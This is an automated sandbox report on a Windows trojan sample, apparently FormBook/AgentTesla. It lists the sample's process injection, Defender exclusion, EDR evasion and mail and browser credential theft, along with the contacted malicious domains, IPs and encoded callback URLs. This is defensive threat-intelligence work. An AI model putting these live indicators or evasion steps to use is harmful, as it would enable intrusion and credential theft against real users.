            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1447917 Sample: inquiry EBS# 82785.exe Startdate: 27/05/2024 Architecture: WINDOWS Score: 100 32 www.ycwtch.co.uk 2->32 34 www.pricekaboom.com 2->34 36 21 other IPs or domains 2->36 46 Malicious sample detected (through community Yara rule) 2->46 48 Antivirus detection for URL or domain 2->48 50 Multi AV Scanner detection for submitted file 2->50 52 8 other signatures 2->52 10 inquiry EBS# 82785.exe 4 2->10         started        signatures3 process4 signatures5 62 Adds a directory exclusion to Windows Defender 10->62 13 RegSvcs.exe 10->13         started        16 powershell.exe 23 10->16         started        process6 signatures7 66 Maps a DLL or memory area into another process 13->66 18 hbfEEdNoiUG.exe 13->18 injected 68 Loading BitLocker PowerShell Module 16->68 21 conhost.exe 16->21         started        process8 signatures9 44 Found direct / indirect Syscall (likely to bypass EDR) 18->44 23 iexpress.exe 13 18->23         started        process10 signatures11 54 Tries to steal Mail credentials (via file / registry access) 23->54 56 Tries to harvest and steal browser information (history, passwords, etc) 23->56 58 Modifies the context of a thread in another process (thread injection) 23->58 60 2 other signatures 23->60 26 hbfEEdNoiUG.exe 23->26 injected 30 firefox.exe 23->30         started        process12 dnsIp13 38 pricekaboom.com 185.31.240.240, 49712, 80 ZONEZoneMediaOUEE Estonia 26->38 40 www.0bi8.fun 107.151.241.58, 59274, 59275, 59276 VPSQUANUS United States 26->40 42 7 other IPs or domains 26->42 64 Found direct / indirect Syscall (likely to bypass EDR) 26->64 signatures14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            inquiry EBS# 82785.exe68%ReversingLabsByteCode-MSIL.Trojan.AgentTesla
            inquiry EBS# 82785.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://duckduckgo.com/chrome_newtab0%Avira URL Cloudsafe
            https://www.chiark.greenend.org.uk/~sgtatham/putty/00%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%Avira URL Cloudsafe
            https://www.google.com/images/branding/product/ico/googleg_lodp.ico0%Avira URL Cloudsafe
            http://www.shopnaya.fr/7skl/0%Avira URL Cloudsafe
            http://www.touchdres.top/hjqs/0%Avira URL Cloudsafe
            http://www.geltipleasure.com/8vpj/0%Avira URL Cloudsafe
            http://www.galatalosangeles.org/v7f6/?MNodJD8p=XF4qeg9ZZgTAThyVlalCdKNU99LfXS2lLMZLa1YAu2kMLhYluJ+1/4qiQDOp90UUak+QbyH64omdN7gzrQa5FaRBbg95DUa8jSSlfRAmfeyBeU+cpFm8YfZCh5mA/E+0k6dMbGsvvroL&f4=xxLl5tHp-byppxH0%Avira URL Cloudsafe
            http://www.birthingwitht.com/v0eo/0%Avira URL Cloudsafe
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            http://www.0bi8.fun/static/admin/js/jquery.min.js0%Avira URL Cloudsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
            https://www.shopnaya.fr/7skl/?f4=xxLl5tHp-byppxH&MNodJD8p=dTL83zpU0xQ9edv6OGiX5dEIo4WZrMM8fLl2Krrsxa0%Avira URL Cloudsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%Avira URL Cloudsafe
            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe
            http://browsehappy.com/0%URL Reputationsafe
            https://github.com/romenrg/genetic-startups0%Avira URL Cloudsafe
            http://www.drednents.es/z86o/0%Avira URL Cloudsafe
            http://www.0bi8.fun/bjqr/?f4=xxLl5tHp-byppxH&MNodJD8p=gV3rr7jqPVIv1Mn/lEpKIewKkib7Fcul04Jd32/fmw2k/EH2FaAQks6L8J0asfE6jsJhPUd3WUfcv1S8rbU6nGqSEFtTbFoUTPdBAPE1L3Zw4OEG+thjvk7ioWrFkV00ho6iarHOpTEe0%Avira URL Cloudsafe
            http://www.omilux.vn/hrz3/0%Avira URL Cloudsafe
            http://www.touchdres.top/hjqs/?f4=xxLl5tHp-byppxH&MNodJD8p=5qGwR/efmPt/I6Ynz6AqB74GuZv+m8IAYAQ4rwOKHDcf/eaPG6yHH9N9SqcPE5LhBkrMW/1fhU0AkMcaTSWt5r3v+QyKYKY8hdB1xYhSZ8o8wTivSleoUXQcrXTUVIgWubI9r3mYr34W0%Avira URL Cloudsafe
            http://www.0bi8.fun/static/admin/js/bootstrap.min.js0%Avira URL Cloudsafe
            http://www.0bi8.fun/static/admin/css/style.min.css0%Avira URL Cloudsafe
            http://www.0bi8.fun/bjqr/0%Avira URL Cloudsafe
            http://www.0bi8.fun/static/admin/css/bootstrap.min.css0%Avira URL Cloudsafe
            https://www.birthingwitht.com/v0eo?MNodJD8p=53hfMKMEN3GhcMKa3FD3GzP20%Avira URL Cloudsafe
            http://www.geltipleasure.com/8vpj/?f4=xxLl5tHp-byppxH&MNodJD8p=PND0ETKqlieTTeqinVoOdoMDGkM5Odo4sqg2s5YxFKdh6CPUHw2tTMKdV9M9FPP1W5xV4FYCql8AQrim1T6KQKabV5DPdnWB0A0Xkl8YOGjv4J+ZuCok4XgXnh6EsXJFAwVfNVgHNN7O0%Avira URL Cloudsafe
            http://www.birthingwitht.com/v0eo/?MNodJD8p=53hfMKMEN3GhcMKa3FD3GzP2+NOMOkRil+RTINeunm9wIq1fivMeg2WaHp19Pt0EnqgBYyGRdzAlBNzF4cJsjA2PPFb1LRhEuRJejr6Fp+RggyN+VxffrmtVRKuIz6NLG42mGA2FBBi+&f4=xxLl5tHp-byppxH0%Avira URL Cloudsafe
            http://www.0bi8.fun/static/admin/css/materialdesignicons.min.css0%Avira URL Cloudsafe
            http://www.chillingtime.shop/e6fw/0%Avira URL Cloudsafe
            http://www.duobao698.com/b5mo/100%Avira URL Cloudmalware
            http://www.yamlex.ru/ji0p/0%Avira URL Cloudsafe
            http://www.galatalosangeles.org/v7f6/0%Avira URL Cloudsafe
            http://yamlex.ru/ji0p/?MNodJD8p=xXD9CQ3N7xKDLchfMZiKEzPna0191/2yPXYla/3jou9aJjDG40/AHObgd4ksmL/dNcSW0%Avira URL Cloudsafe
            http://www.duobao698.com/b5mo/?f4=xxLl5tHp-byppxH&MNodJD8p=YF33wiUQP61+bcRucpXfP2bszl+S1jXxxa03lm8i9Cm6yh/X5E/MKQF3SqHNMSDah8acWmTXWKI80zfQn0GR7e3o5MjoaLzb9IV74TF38aXM2/s/Vr42kQEqdr4drO8NCxauOi017rm8100%Avira URL Cloudmalware
            http://www.shopnaya.fr/7skl/?f4=xxLl5tHp-byppxH&MNodJD8p=dTL83zpU0xQ9edv6OGiX5dEIo4WZrMM8fLl2Krrsxam7NAcpt0Es3EGDcNMssM7b8wua4BB6pAKcVugLPNxCMOYttcIT7GyMy0e3JishaTIPS+4u6tMJjGSu/0BLy0AvAJTG8pRcvlin0%Avira URL Cloudsafe
            http://www.drednents.es/z86o/?MNodJD8p=Ojnz0Kg7atrxNq8YCu+svyw5JWMM1LKejTFIWEVqDJTsr8k/Cp/y34hmBl88WC07fa4Gfm/DSv1MHu4JYtU+JFgy+UqwczkQfuHRwTZ5WPzaTNzF4FwHRgOY2DJ/mTb+46Ki7EnPzQiQ&f4=xxLl5tHp-byppxH0%Avira URL Cloudsafe
            http://www.pricekaboom.com/88is/?f4=xxLl5tHp-byppxH&MNodJD8p=Et7jFQQESHR6QMcH21WFfBueb87jCDciOXesV2PUTY+phHzqwibAOf6k5ayeI+rSGw4JUshP7eT3Dg0I6eQ+O8WQlCHWQqse33D+WHaqsKhBys2QaUSMPkBSAmePUjZQCr8qbSgJVbhV100%Avira URL Cloudmalware
            http://www.geltipleasure.com0%Avira URL Cloudsafe
            http://tempuri.org/DataSet1.xsd#tableLayoutPanel10%Avira URL Cloudsafe
            http://www.yamlex.ru/ji0p/?MNodJD8p=xXD9CQ3N7xKDLchfMZiKEzPna0191/2yPXYla/3jou9aJjDG40/AHObgd4ksmL/dNcSWCZmrHM/RDWoQ1OVMTJmDIfJC0DRY8vTyfwkh08Xc3obI9sRDXMdHo4KaM9QY8Uf5asICqepP&f4=xxLl5tHp-byppxH0%Avira URL Cloudsafe
            http://www.chillingtime.shop/e6fw/?f4=xxLl5tHp-byppxH&MNodJD8p=n5dESxf/cXtX+IWK1PHyu1L8TFflxVgasmaJS2CdKaZYGchug9mh5pyHlytVKDb3Cg5u6YFnb48YkM5fb7pMgDgbFs0i5g+O9MKB2IOkFyIMxqAROkXgP4I/Dc/XYjPAbEAcXqhbTswY0%Avira URL Cloudsafe
            http://www.ycwtch.co.uk/kpja/100%Avira URL Cloudmalware
            http://www.hilfe24x7.de/vrn9/0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            www.yamlex.ru
            		194.58.112.174
            		truefalse
              		unknown
              duobao698.com
              		3.33.130.190
              		truefalse
                		unknown
                www.shopnaya.fr
                		212.227.172.254
                		truefalse
                  		unknown
                  pricekaboom.com
                  		185.31.240.240
                  		truefalse
                    		unknown
                    td-ccm-neg-87-45.wixdns.net
                    		34.149.87.45
                    		truefalse
                      		unknown
                      chillingtime.shop
                      		3.33.130.190
                      		truefalse
                        		unknown
                        galatalosangeles.org
                        		3.33.130.190
                        		truefalse
                          		unknown
                          www.drednents.es
                          		104.21.81.34
                          		truefalse
                            		unknown
                            www.0bi8.fun
                            		107.151.241.58
                            		truefalse
                              		unknown
                              omilux.vn
                              		103.28.36.189
                              		truefalse
                                		unknown
                                hilfe24x7.de
                                		3.33.130.190
                                		truefalse
                                  		unknown
                                  www.touchdres.top
                                  		198.177.123.106
                                  		truefalse
                                    		unknown
                                    geltipleasure.com
                                    		3.33.130.190
                                    		truefalse
                                      		unknown
                                      www.omilux.vn
                                      		unknown
                                      		unknowntrue
                                        		unknown
                                        www.birthingwitht.com
                                        		unknown
                                        		unknowntrue
                                          		unknown
                                          www.pricekaboom.com
                                          		unknown
                                          		unknowntrue
                                            		unknown
                                            www.duobao698.com
                                            		unknown
                                            		unknowntrue
                                              		unknown
                                              www.ycwtch.co.uk
                                              		unknown
                                              		unknowntrue
                                                		unknown
                                                www.galatalosangeles.org
                                                		unknown
                                                		unknowntrue
                                                  		unknown
                                                  www.chillingtime.shop
                                                  		unknown
                                                  		unknowntrue
                                                    		unknown
                                                    www.geltipleasure.com
                                                    		unknown
                                                    		unknowntrue
                                                      		unknown
                                                      www.hilfe24x7.de
                                                      		unknown
                                                      		unknowntrue
                                                        		unknown

                                                        Contacted URLs

                                                        NameMaliciousAntivirus DetectionReputation
                                                        http://www.shopnaya.fr/7skl/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.touchdres.top/hjqs/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.geltipleasure.com/8vpj/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.birthingwitht.com/v0eo/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.galatalosangeles.org/v7f6/?MNodJD8p=XF4qeg9ZZgTAThyVlalCdKNU99LfXS2lLMZLa1YAu2kMLhYluJ+1/4qiQDOp90UUak+QbyH64omdN7gzrQa5FaRBbg95DUa8jSSlfRAmfeyBeU+cpFm8YfZCh5mA/E+0k6dMbGsvvroL&f4=xxLl5tHp-byppxHfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.drednents.es/z86o/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.touchdres.top/hjqs/?f4=xxLl5tHp-byppxH&MNodJD8p=5qGwR/efmPt/I6Ynz6AqB74GuZv+m8IAYAQ4rwOKHDcf/eaPG6yHH9N9SqcPE5LhBkrMW/1fhU0AkMcaTSWt5r3v+QyKYKY8hdB1xYhSZ8o8wTivSleoUXQcrXTUVIgWubI9r3mYr34Wfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.0bi8.fun/bjqr/?f4=xxLl5tHp-byppxH&MNodJD8p=gV3rr7jqPVIv1Mn/lEpKIewKkib7Fcul04Jd32/fmw2k/EH2FaAQks6L8J0asfE6jsJhPUd3WUfcv1S8rbU6nGqSEFtTbFoUTPdBAPE1L3Zw4OEG+thjvk7ioWrFkV00ho6iarHOpTEefalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.omilux.vn/hrz3/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.0bi8.fun/bjqr/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.geltipleasure.com/8vpj/?f4=xxLl5tHp-byppxH&MNodJD8p=PND0ETKqlieTTeqinVoOdoMDGkM5Odo4sqg2s5YxFKdh6CPUHw2tTMKdV9M9FPP1W5xV4FYCql8AQrim1T6KQKabV5DPdnWB0A0Xkl8YOGjv4J+ZuCok4XgXnh6EsXJFAwVfNVgHNN7Ofalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.birthingwitht.com/v0eo/?MNodJD8p=53hfMKMEN3GhcMKa3FD3GzP2+NOMOkRil+RTINeunm9wIq1fivMeg2WaHp19Pt0EnqgBYyGRdzAlBNzF4cJsjA2PPFb1LRhEuRJejr6Fp+RggyN+VxffrmtVRKuIz6NLG42mGA2FBBi+&f4=xxLl5tHp-byppxHfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.yamlex.ru/ji0p/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.duobao698.com/b5mo/false
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        http://www.chillingtime.shop/e6fw/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.galatalosangeles.org/v7f6/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.duobao698.com/b5mo/?f4=xxLl5tHp-byppxH&MNodJD8p=YF33wiUQP61+bcRucpXfP2bszl+S1jXxxa03lm8i9Cm6yh/X5E/MKQF3SqHNMSDah8acWmTXWKI80zfQn0GR7e3o5MjoaLzb9IV74TF38aXM2/s/Vr42kQEqdr4drO8NCxauOi017rm8false
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        http://www.drednents.es/z86o/?MNodJD8p=Ojnz0Kg7atrxNq8YCu+svyw5JWMM1LKejTFIWEVqDJTsr8k/Cp/y34hmBl88WC07fa4Gfm/DSv1MHu4JYtU+JFgy+UqwczkQfuHRwTZ5WPzaTNzF4FwHRgOY2DJ/mTb+46Ki7EnPzQiQ&f4=xxLl5tHp-byppxHfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.shopnaya.fr/7skl/?f4=xxLl5tHp-byppxH&MNodJD8p=dTL83zpU0xQ9edv6OGiX5dEIo4WZrMM8fLl2Krrsxam7NAcpt0Es3EGDcNMssM7b8wua4BB6pAKcVugLPNxCMOYttcIT7GyMy0e3JishaTIPS+4u6tMJjGSu/0BLy0AvAJTG8pRcvlinfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.pricekaboom.com/88is/?f4=xxLl5tHp-byppxH&MNodJD8p=Et7jFQQESHR6QMcH21WFfBueb87jCDciOXesV2PUTY+phHzqwibAOf6k5ayeI+rSGw4JUshP7eT3Dg0I6eQ+O8WQlCHWQqse33D+WHaqsKhBys2QaUSMPkBSAmePUjZQCr8qbSgJVbhVfalse
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        http://www.yamlex.ru/ji0p/?MNodJD8p=xXD9CQ3N7xKDLchfMZiKEzPna0191/2yPXYla/3jou9aJjDG40/AHObgd4ksmL/dNcSWCZmrHM/RDWoQ1OVMTJmDIfJC0DRY8vTyfwkh08Xc3obI9sRDXMdHo4KaM9QY8Uf5asICqepP&f4=xxLl5tHp-byppxHfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.chillingtime.shop/e6fw/?f4=xxLl5tHp-byppxH&MNodJD8p=n5dESxf/cXtX+IWK1PHyu1L8TFflxVgasmaJS2CdKaZYGchug9mh5pyHlytVKDb3Cg5u6YFnb48YkM5fb7pMgDgbFs0i5g+O9MKB2IOkFyIMxqAROkXgP4I/Dc/XYjPAbEAcXqhbTswYfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.hilfe24x7.de/vrn9/false
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.ycwtch.co.uk/kpja/false
                                                        • Avira URL Cloud: malware
                                                        		unknown

                                                        URLs from Memory and Binaries

                                                        NameSourceMaliciousAntivirus DetectionReputation
                                                        https://duckduckgo.com/chrome_newtabiexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://duckduckgo.com/ac/?q=iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://www.google.com/images/branding/product/ico/googleg_lodp.icoiexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://www.shopnaya.fr/7skl/?f4=xxLl5tHp-byppxH&MNodJD8p=dTL83zpU0xQ9edv6OGiX5dEIo4WZrMM8fLl2Krrsxaiexpress.exe, 00000010.00000002.3713620631.0000000006440000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.0000000003DF0000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.0bi8.fun/static/admin/js/jquery.min.jsiexpress.exe, 00000010.00000002.3715766217.0000000008170000.00000004.00000800.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3713620631.0000000005DF8000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.00000000037A8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://github.com/romenrg/genetic-startupsinquiry EBS# 82785.exefalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.0bi8.fun/static/admin/js/bootstrap.min.jsiexpress.exe, 00000010.00000002.3715766217.0000000008170000.00000004.00000800.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3713620631.0000000005DF8000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.00000000037A8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://www.ecosia.org/newtab/iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://www.chiark.greenend.org.uk/~sgtatham/putty/0inquiry EBS# 82785.exefalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.0bi8.fun/static/admin/css/style.min.cssiexpress.exe, 00000010.00000002.3715766217.0000000008170000.00000004.00000800.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3713620631.0000000005DF8000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.00000000037A8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://ac.ecosia.org/autocomplete?q=iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.0bi8.fun/static/admin/css/bootstrap.min.cssiexpress.exe, 00000010.00000002.3713620631.0000000005DF8000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.00000000037A8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://www.birthingwitht.com/v0eo?MNodJD8p=53hfMKMEN3GhcMKa3FD3GzP2iexpress.exe, 00000010.00000002.3713620631.0000000005C66000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.0000000003616000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchiexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.0bi8.fun/static/admin/css/materialdesignicons.min.cssiexpress.exe, 00000010.00000002.3713620631.0000000005DF8000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.00000000037A8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://yamlex.ru/ji0p/?MNodJD8p=xXD9CQ3N7xKDLchfMZiKEzPna0191/2yPXYla/3jou9aJjDG40/AHObgd4ksmL/dNcSWiexpress.exe, 00000010.00000002.3713620631.00000000065D2000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.0000000003F82000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameinquiry EBS# 82785.exe, 00000000.00000002.1279975333.000000000284A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://tempuri.org/DataSet1.xsd#tableLayoutPanel1inquiry EBS# 82785.exefalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.geltipleasure.comhbfEEdNoiUG.exe, 00000014.00000002.3714642969.0000000005521000.00000040.80000000.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=iexpress.exe, 00000010.00000003.1618898139.0000000008418000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://browsehappy.com/iexpress.exe, 00000010.00000002.3713620631.0000000006C1A000.00000004.10000000.00040000.00000000.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3712726635.00000000045CA000.00000004.00000001.00040000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown

                                                        World Map of Contacted IPs

                                                        • No. of IPs < 25%
                                                        • 25% < No. of IPs < 50%
                                                        • 50% < No. of IPs < 75%
                                                        • 75% < No. of IPs

                                                        Public IPs

                                                        IPDomainCountryFlagASNASN NameMalicious
                                                        104.21.81.34
                                                        		www.drednents.esUnited States
                                                        		13335CLOUDFLARENETUSfalse
                                                        185.31.240.240
                                                        		pricekaboom.comEstonia
                                                        		49604ZONEZoneMediaOUEEfalse
                                                        198.177.123.106
                                                        		www.touchdres.topUnited States
                                                        		395681FINALFRONTIERVGfalse
                                                        107.151.241.58
                                                        		www.0bi8.funUnited States
                                                        		62468VPSQUANUSfalse
                                                        34.149.87.45
                                                        		td-ccm-neg-87-45.wixdns.netUnited States
                                                        		2686ATGS-MMD-ASUSfalse
                                                        194.58.112.174
                                                        		www.yamlex.ruRussian Federation
                                                        		197695AS-REGRUfalse
                                                        103.28.36.189
                                                        		omilux.vnViet Nam
                                                        		131353NHANHOA-AS-VNNhanHoaSoftwarecompanyVNfalse
                                                        3.33.130.190
                                                        		duobao698.comUnited States
                                                        		8987AMAZONEXPANSIONGBfalse
                                                        212.227.172.254
                                                        		www.shopnaya.frGermany
                                                        		8560ONEANDONE-ASBrauerstrasse48DEfalse

                                                        General Information

                                                        Joe Sandbox version:40.0.0 Tourmaline
                                                        Analysis ID:1447917
                                                        Start date and time:2024-05-27 12:25:22 +02:00
                                                        Joe Sandbox product:CloudBasic
                                                        Overall analysis duration:0h 11m 22s
                                                        Hypervisor based Inspection enabled:false
                                                        Report type:full
                                                        Cookbook file name:default.jbs
                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                        Number of analysed new started processes analysed:25
                                                        Number of new started drivers analysed:0
                                                        Number of existing processes analysed:0
                                                        Number of existing drivers analysed:0
                                                        Number of injected processes analysed:2
                                                        Technologies:
                                                        • HCA enabled
                                                        • EGA enabled
                                                        • AMSI enabled
                                                        Analysis Mode:default
                                                        Analysis stop reason:Timeout
                                                        Sample name:inquiry EBS# 82785.exe
                                                        Detection:MAL
                                                        Classification:mal100.troj.spyw.evad.winEXE@10/7@16/9
                                                        EGA Information:
                                                        • Successful, ratio: 75%
                                                        HCA Information:
                                                        • Successful, ratio: 96%
                                                        • Number of executed functions: 198
                                                        • Number of non-executed functions: 298
                                                        Cookbook Comments:
                                                        • Found application associated with file extension: .exe
                                                        • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                        Warnings

                                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                                                        • Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                                        • Execution Graph export aborted for target hbfEEdNoiUG.exe, PID 6016 because it is empty
                                                        • HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                        • Not all processes where analyzed, report is missing behavior information
                                                        • Report creation exceeded maximum time and may have missing disassembly code information.
                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                        • Report size getting too big, too many NtCreateKey calls found.
                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                        • VT rate limit hit for: inquiry EBS# 82785.exe

                                                        Simulations

                                                        Behavior and APIs

                                                        TimeTypeDescription
                                                        06:26:14API Interceptor1x Sleep call for process: inquiry EBS# 82785.exe modified
                                                        06:26:16API Interceptor10x Sleep call for process: powershell.exe modified
                                                        08:23:57API Interceptor9796518x Sleep call for process: iexpress.exe modified

                                                        Joe Sandbox View / Context

                                                        IPs

                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                        104.21.81.34quotation.exeGet hashmaliciousFormBookBrowse
                                                        • www.drednents.es/z86o/
                                                        Payment invoice.exeGet hashmaliciousFormBookBrowse
                                                        • www.drednents.es/z86o/
                                                        SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exeGet hashmaliciousFormBookBrowse
                                                        • www.drednents.es/z86o/
                                                        185.31.240.240Shipping Document.exeGet hashmaliciousFormBookBrowse
                                                        • www.pricekaboom.com/opfh/
                                                        PAYMENT ADVICE.exeGet hashmaliciousFormBookBrowse
                                                        • www.pricekaboom.com/opfh/
                                                        NEW PURCHASE ORDER.exeGet hashmaliciousFormBookBrowse
                                                        • www.pricekaboom.com/opfh/
                                                        URGENT BANK ACCOUNT.exeGet hashmaliciousFormBookBrowse
                                                        • www.pricekaboom.com/opfh/
                                                        New Shipping Documents.exeGet hashmaliciousFormBookBrowse
                                                        • www.pricekaboom.com/opfh/
                                                        SHIPMENT ARRIVAL NOTICE.exeGet hashmaliciousFormBookBrowse
                                                        • www.pricekaboom.com/opfh/
                                                        198.177.123.106quotation.exeGet hashmaliciousFormBookBrowse
                                                        • www.touchdres.top/hjqs/
                                                        Payment invoice.exeGet hashmaliciousFormBookBrowse
                                                        • www.touchdres.top/hjqs/
                                                        quote.exeGet hashmaliciousFormBookBrowse
                                                        • www.touchdres.top/hjqs/
                                                        Transferencia.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • www.purpuss.top/c5iq/
                                                        SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exeGet hashmaliciousFormBookBrowse
                                                        • www.touchdres.top/hjqs/
                                                        Forligsmnd.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • www.pizalpioneer.top/gu1b/
                                                        cuenta para pago1.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • www.stellerechoes.xyz/v3ka/
                                                        Grundforbedre39.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                        • www.alpinebretech.life/m9so/
